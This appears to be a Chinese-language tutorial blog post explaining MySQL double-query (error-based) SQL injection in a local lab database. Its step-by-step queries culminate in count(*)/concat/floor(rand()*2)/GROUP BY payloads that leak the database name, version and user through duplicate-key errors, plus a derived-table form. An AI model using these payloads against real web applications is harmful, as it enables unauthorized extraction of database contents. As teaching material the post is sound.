天天看點

詳細講解雙查詢注入

我說雙查詢很難講清楚,這次就試着講一下。讀了一些原理性的東西。然後盡量通俗的給大家講清楚。。

在此之前,我們了解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的了解在一個select語句裡還有一個select。裡面的這個select語句就是子查詢。

看一個簡單的例子:

Select concat((select database()));      

真正執行的時候,先從子查詢進行。是以執行select database() 這個語句就會把目前的​​資料庫​​查出來,然後把結果傳入到concat函數。這個函數是用來連接配接的。比如 concat(‘a’,’b’)那結果就是ab了。

原理:

雙注入查詢需要了解四個函數/語句

1. Rand() //随機函數
2. Floor() //取整函數
3. Count() //彙總函數
4. Group by clause //分組語句      

簡單的一句話原理就是有研究人員發現,當在一個聚合函數,比如count函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。[本部落客注:這個是Mysql的bug,詳見​​連結​​]

以本地一個名為Security的資料庫為例

首先在bt5下的指令行下輸入

mysql -u root –p toor      

就會連接配接上資料庫了。

然後通過use security; 就可以切換到security資料庫了。因為一個伺服器上可能有多個資料庫嘛。

詳細講解雙查詢注入

然後我們執行一下前面那個簡單的子查詢的例子

SELECT concat((select database()));      

就能顯示security,也就是顯示了目前資料庫的名字了。

然後我們測試一下concat的用法。輸入

SELECT concat('string1','string2');      

顯然結果就是string1string2了

詳細講解雙查詢注入

然後我們測試一下rand()這個随機函數是幹嘛的

Select rand();      

我們多執行幾次

詳細講解雙查詢注入

可以看到,這個函數就是傳回大于0,小于1之間的數

然後看看取整函數

Select floor(1.1123456);      
詳細講解雙查詢注入

這個函數就是傳回小于等于你輸入的數的整數。

然後我們看看雙注入查詢中的一個簡單組合。大家從我的上一篇文章中應該也看到了有一個子查詢是

SELECT floor(rand()*2);      

我們從裡向外看。rand() 傳回大于0小于1的小數,乘以2之後就成了小于0小于2了。然後對結果進行驗證。就隻能是0或1了。也就是這個查詢的結果不是1,就是0

我們稍微加大一點難度。看這個查詢

SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));      

不要怕。先看最裡面的SELECT database() 這個就傳回資料庫名,這裡就是security了。然後FLOOR(RAND()*2)這個上面說過了。不是0,就是1.然後把這兩個的結果進行concat連接配接,那麼結果不是security0就是security1了。

詳細講解雙查詢注入

如果我們把這條語句後面加上from 一個表名。那麼一般會傳回security0或security1的一個集合。數目是由表本身有幾條結果決定的。比如一個管理表裡有5個管理者。這個就會傳回五條記錄,這裡users表裡有13個使用者,是以傳回了13條

詳細講解雙查詢注入

如果是從information_schema.schemata裡,這個表裡包含了mysql的所有資料庫名。這裡本機有三個資料庫。是以會傳回三個結果

詳細講解雙查詢注入

現在我們準備加上Group By 語句了。

我們使用information_schema.tables 或 information_schema.columns者兩個表來查詢。因為表裡面一般資料很多。容易生成很多的随機值,不至于全部是security0,這樣就不能查詢出結果了。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;      

這裡我先解釋一下。

我們把concat((select database()), floor(rand()*2)) 這個結果取了一個别名 a ,然後使用他進行分組。這樣相同的security0分到一組,security1分到一組。就剩下兩個結果了。

詳細講解雙查詢注入

注意這裡的database()可以替換成任何你想查的函數,比如version(), user(), datadir()或者其他的查詢。比如查表啊。查列啊。原理都是一樣的。

最後的亮點來了。。

我們輸入這條:注意多了一個聚合函數count(*)

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;      
詳細講解雙查詢注入

報錯了

ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’      

原因是重複的鍵值。

可以看到security就是我們的查詢結果了

想要查詢版本就這樣:

select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;      

看看替換了database()為version()

詳細講解雙查詢注入

再看一個

select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;      

報錯

ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'      

這裡的~這個符号隻是為了讓結果更清晰。

這裡還有一個比較複雜的。叫做派生表。需要使用

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;